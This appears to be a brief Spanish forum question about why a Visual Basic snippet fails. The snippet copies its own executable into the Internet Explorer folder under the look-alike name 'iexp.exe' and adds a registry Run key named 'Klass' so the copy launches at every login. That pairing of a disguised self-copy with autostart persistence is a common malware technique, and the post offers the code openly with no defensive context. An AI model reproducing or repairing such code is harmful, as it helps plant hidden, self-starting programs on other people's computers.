q puede ser?
el codigo era este
On Error GoTo Error
Set clave = CreateObject("WScript.shell")
clave.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "Klass", "C:\Archivos de programa\Internet Explorer\iexp.exe"
Error:
On Error GoTo Fallo
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Archivos de programa\Internet Explorer\iexp.exe"
Fallo: